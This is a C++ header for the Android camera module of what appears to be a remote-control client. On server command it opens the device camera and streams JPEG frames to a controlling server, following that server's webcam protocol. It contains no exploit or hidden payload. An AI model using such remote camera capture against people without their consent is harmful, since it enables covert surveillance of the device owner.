// VideoHandlerAndroid.h - Android 摄像头管理(COMMAND_WEBCAM) // // 协议与 Windows 客户端一致(client/VideoManager.cpp、server/2015Remote/VideoDlg.cpp): // [TOKEN_WEBCAM_BITMAPINFO][BITMAPINFO] 服务端据此打开视频窗口; // 之后每帧 [TOKEN_WEBCAM_DIB][isCompress=1][fccHandler:4][帧数据]。 // 与 Windows 不同的是 BITMAPINFO 不在子连接建立时立即发,而是等第一帧到达、 // 从 JPEG 的 SOF 里读出真实宽高再发(HAL 物理旋转会让宽高互换)。 // // 与 Windows 的区别只在编码:Windows 用 VFW 的 MJPEG/H.263 编解码器,Android 相机 // 原生输出 JPEG,fccHandler 用 WEBCAM_FOURCC_JPEG_DIRECT('JPGD'),服务端走 // turbojpeg 直解,不依赖目标机安装任何编解码器。 // // 采集与编码在 Kotlin 侧(CameraCapture.kt,Camera2 → ImageReader(JPEG)),这里只 // 负责协议封装与 JPEG 广播;帧回调从 Java 线程进入(YamaBridge.nativeOnCameraJpeg)。 #pragma once #include #include #include #include #include "common/commands.h" #include "common/logger.h" #include "client/IOCPClient.h" #include "ScreenHandler.h" // BmpInfoHeader(与 Windows BITMAPINFOHEADER 同布局) #define LOGE_V(...) android_log_tag(ANDROID_LOG_ERROR, "YAMA_VIDEO", __VA_ARGS__) // 由 main.cpp 实现(JNI → CameraCapture.start/stop) bool StartJavaCamera(int* outWidth, int* outHeight); void StopJavaCamera(); class AndroidVideoHandler : public IOCPManager { public: explicit AndroidVideoHandler(IOCPClient* client) : m_client(client) {} ~AndroidVideoHandler() override { StopCapture(); } // 打开相机并发送 BITMAPINFO。失败(无相机 / 无 CAMERA 权限)返回 false, // 调用方应关掉子连接并给主控回一条消息。 bool StartCapture() { int w = 0, h = 0; if (!StartJavaCamera(&w, &h) || w <= 0 || h <= 0) return false; m_width = w; m_height = h; m_running.store(true, std::memory_order_release); // BITMAPINFO 推迟到第一帧再发:HAL 可能把 JPEG 按 JPEG_ORIENTATION 物理 // 旋转(宽高互换),也可能只写 EXIF。以第一帧实际的 SOF 宽高为准, // 服务端就不会因为尺寸对不上而丢帧黑屏。 LOGE_V("camera started %dx%d (bitmapinfo deferred to first frame)", w, h); return true; } void StopCapture() { if (!m_running.exchange(false)) return; StopJavaCamera(); } void OnReceive(PBYTE szBuffer, ULONG ulLength) override { if (!szBuffer || ulLength == 0) return; switch (szBuffer[0]) { case COMMAND_NEXT: // 服务端视频窗口已打开 m_dialogOpen.store(true, std::memory_order_relaxed); LOGE_V("camera dialog opened"); break; case COMMAND_WEBCAM_ENABLECOMPRESS: case COMMAND_WEBCAM_DISABLECOMPRESS: // JPEG 帧始终是压缩数据,两个开关都不需要改编码路径 break; default: LOGE_V("camera: unhandled cmd=%d", (int)szBuffer[0]); break; } } // Java 侧每帧 JPEG 进来时调用(CameraCapture 的 ImageReader 回调线程) void SendJpeg(const uint8_t* data, size_t len) { IOCPClient* client = m_client; if (!client || !m_running.load(std::memory_order_acquire) || !data || len == 0) return; // 第一帧:按实际 SOF 宽高发 BITMAPINFO(服务端收到它才会打开视频窗口), // 这一帧本身也照发;之后的帧再等服务端回 COMMAND_NEXT。 if (!m_infoSent) { int w = m_width, h = m_height; if (JpegDimensions(data, len, &w, &h)) { m_width = w; m_height = h; } SendBitmapInfo(); m_infoSent = true; LOGE_V("bitmapinfo sent %dx%d (jpeg %zu bytes)", m_width, m_height, len); } else if (!m_dialogOpen.load(std::memory_order_relaxed)) { return; } const size_t head = 1 + 1 + 4; std::vector pkt(head + len); pkt[0] = (uint8_t)TOKEN_WEBCAM_DIB; pkt[1] = 1; // isCompress uint32_t fcc = WEBCAM_FOURCC_JPEG_DIRECT; memcpy(&pkt[2], &fcc, 4); memcpy(&pkt[head], data, len); client->Send2Server((char*)pkt.data(), (ULONG)pkt.size()); } int Width() const { return m_width; } int Height() const { return m_height; } private: // 从 JPEG 的 SOF0/SOF2 段取真实宽高(跳过 APPn/EXIF 等段)。 // 用于兼容「HAL 按 JPEG_ORIENTATION 物理旋转导致宽高互换」的机型。 static bool JpegDimensions(const uint8_t* d, size_t n, int* w, int* h) { if (!d || n < 4 || d[0] != 0xFF || d[1] != 0xD8) return false; size_t i = 2; while (i + 9 < n) { if (d[i] != 0xFF) { ++i; continue; } const uint8_t m = d[i + 1]; if (m == 0xD8 || m == 0xD9 || (m >= 0xD0 && m <= 0xD7)) { i += 2; continue; } if (i + 4 > n) return false; const size_t segLen = ((size_t)d[i + 2] << 8) | d[i + 3]; if (segLen < 2 || i + 2 + segLen > n) return false; const bool isSof = (m >= 0xC0 && m <= 0xC3) || (m >= 0xC5 && m <= 0xC7) || (m >= 0xC9 && m <= 0xCB) || (m >= 0xCD && m <= 0xCF); if (isSof) { if (segLen < 7) return false; const int hh = ((int)d[i + 5] << 8) | d[i + 6]; const int ww = ((int)d[i + 7] << 8) | d[i + 8]; if (ww <= 0 || hh <= 0) return false; *w = ww; *h = hh; return true; } i += 2 + segLen; } return false; } // Linux/macOS 的 BmpInfoHeader 就是 Windows 的 BITMAPINFOHEADER(40 字节)。 // Windows 客户端发的是 sizeof(BITMAPINFO)=44 字节(含 1 个 bmiColors), // 这里补 4 字节零保持一致,服务端按 biSizeImage 分配转码缓冲。 void SendBitmapInfo() { if (!m_client) return; uint8_t buf[1 + sizeof(BmpInfoHeader) + 4] = { 0 }; buf[0] = (uint8_t)TOKEN_WEBCAM_BITMAPINFO; BmpInfoHeader hdr{}; hdr.biSize = sizeof(BmpInfoHeader); hdr.biWidth = m_width; hdr.biHeight = m_height; // bottom-up,与 Windows 摄像头一致 hdr.biPlanes = 1; hdr.biBitCount = 24; // 服务端解码成 BGR24 hdr.biCompression = 0; // BI_RGB:描述的是解码后的位图 // DIB 每行按 DWORD 对齐(DrawDib 与保存 AVI 都按这个 stride 解释) const int stride = (m_width * 3 + 3) & ~3; hdr.biSizeImage = (uint32_t)(stride * m_height); memcpy(buf + 1, &hdr, sizeof(hdr)); m_client->Send2Server((char*)buf, (ULONG)sizeof(buf)); } IOCPClient* m_client = nullptr; std::atomic m_running{false}; std::atomic m_dialogOpen{false}; bool m_infoSent = false; int m_width = 0; int m_height = 0; };